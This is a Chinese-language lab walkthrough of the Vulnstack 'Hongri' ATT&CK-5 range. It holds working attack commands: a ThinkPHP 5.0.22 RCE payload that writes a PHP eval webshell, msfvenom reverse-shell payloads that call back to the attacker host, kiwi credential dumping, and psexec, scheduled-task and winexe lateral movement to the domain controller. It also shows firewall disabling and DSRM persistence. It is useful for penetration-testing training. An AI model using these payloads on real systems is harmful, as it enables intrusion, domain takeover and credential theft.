红日靶场ATT&CK-5

0x01环境搭建

  • 下载地址:http://vulnstack.qiyuanxuetang.net/vuln/detail/7/
  • 共两台主机,win7账号密码为 sun\heart:123.com sun\Administrator:dc123.com,win2008账号密码 sun\admin:2020.com后续开机要自行修改密码我这里是123.com
  • 网卡配置如下
  • ping通测试

  • win7开启phpstudy服务,要用域控的账号密码或者切换高权限用户才允许开启,至此环境搭建完毕

  • 要使用管理员打开cmd关闭防火墙,不然kali和win8无法ping通此主机

    netsh advfirewall set allprofiles state off

0x02信息搜集

做个IP探测和端口扫描,发现80,445,3306都开了

arp-scan -l
nmap -sV -Pn 192.168.135.150

80端口是thinkPHP,版本为5.0.22,大部分都用工具都可以拿下

0x03漏洞利用

可以看到有很多漏洞都可以打,还爆出了数据库的账号密码,思路用文件上传getshell或者工具一键getshell,要速度就可以选工具getshell,自己写就改RCE的内容,我这里直接getshell

payload:
/?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=test.php&vars[1][]=<?php eval($_REQUEST[cmd]);?>

蚁剑连接后信息搜集,权限还不小但不是system权限,还存在内网网段192.168.138.0/24,以及另一台机器DC

方便后续内网穿透和横向移动我们这里还是用msf来用大马反弹shell方便,但是上线马之前我们看看看有没有杀毒软件,没有那就没有后顾之忧了

tasklist -svc

#kali执行
msfconsole
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.135.128 LPORT=9999 -f exe > shell.exe
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST [kali IP]
set LPORT [端口]
run

#win7执行
shell.exe

0x04内网搜集

成功上线后,简单利用msf提个权

getuid  #发现还不是管理员权限
getsystem #提权成功
shell
chcp 65001

![]/img/ETT16.png)

进行内网网段的全面搜集,发现未成功然后发现我们的账号可能还是不够域的权限,虽然显示不行,但是有了这个域名了直接ping就好了

net user /domain
net group "domain admins" /domain

ping sun.com

发现域控DC-192.168.138.138,看看能不能用kiwi将域凭证抓取

run post/multi/manage/autoroute
run autoroute -p
load kiwi
migrate 484
creds_all
kiwi_cmd sekurlsa::logonPasswords

找到了域控的账号密码Sun\Administrator:dc123.com,Sun\leo:123.com

0x05横向移动

先做内网穿透再进行横向移动,配置完后要改/etc/proxychains4.conf

background
use auxiliary/server/socks_proxy
set SRVHOST 127.0.0.1
set VERSION 5
run
jobs

可以看到192.168.138.138开了445,可以利用psexec模块进行攻击

use exploit/windows/smb/psexec
set rhosts 192.168.138.138
set SMBDomain SUN
set SMBUser administrator
set SMBPass dc123.com
set payload windows/meterpreter/bind_tcp
set rhost 192.168.138.138
run

失败了,大概率是因为域控开了防火墙的原因

利用win7管道符连接关闭防火墙先

#回到会话
net use \\192.168.138.138\ipc$ "dc123.com" /user:"administrator"  #用账号密码创建管道符
sc \\192.168.138.138 create unablefirewall binpath= "netsh advfirewall set allprofiles state off"  #创建关闭防火墙服务
sc \\192.168.138.138 start unablefirewall   #执行

发现还是不行,我就换了个定时任务的方法,发现还是有问题

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.135.128 LPORT=8787 -f exe -o hacker.exe

#meterpreter执行
copy hacker.exe \\192.168.138.138\c$
dir \\192.168.138.138\c$
net time \\192.168.138.138   #自行修改下条命令后面的/st参数
schtasks /create /tn "cmd" /tr C:\hacker.exe /sc once /st 20:59 /S 192.168.138.138 /RU System /u administrator /p "dc123.com"  #计时任务

background
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST [kali IP]
set LPORT [端口]
run

再换一个不用msf模块的方法,总算是成功了,拿下了域控的主机

proxychains4 winexe -U administrator%dc123.com //192.168.138.138 "cmd.exe /c chcp 65001 && cmd.exe"

0x06权限维持

在域控制器上,DSRM账号的表现形式是本地的管理员Administrator用户,也就是说本地管理员Administrator用户等于DSRM账号,这里我们就要去修改密码

开启3389方便我们后续修改注册表操作

REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
proxychains4 rdesktop -u administrator -p dc123.com 192.168.138.138
#cmd中执行
ntdsutil    // 进入ntdsutil
set dsrm password    // 设置DSRM账户的密码
reset password on server null    // 在当前域控制器上恢复DSRM密码
<password>    // 输入新密码
<password>    // 再输入新密码
q    //退出DSRM密码设置模式
q    // 退出ntdsutil

但是我这里翻车了不知道干嘛就是连不上3389,试了好几种方法,而且我用msf关闭192.168.138.138通过管道符关闭这个NLA也没关掉,没招了,应该是这个rdesktop协议有问题,我换了其他还是正整不上就放弃了哈哈

0x07痕迹清理

关于权限维持我也是参考别人的权限维持和痕迹清理

0x08总结

这个靶场准备是演示这个后渗透的一些思路和方法的,奈何环境又双叒叕翻车了,所以在靶场搭建的时候和渗透的时候我们还是要注意环境的一些变化,才不会经常出现卡的情况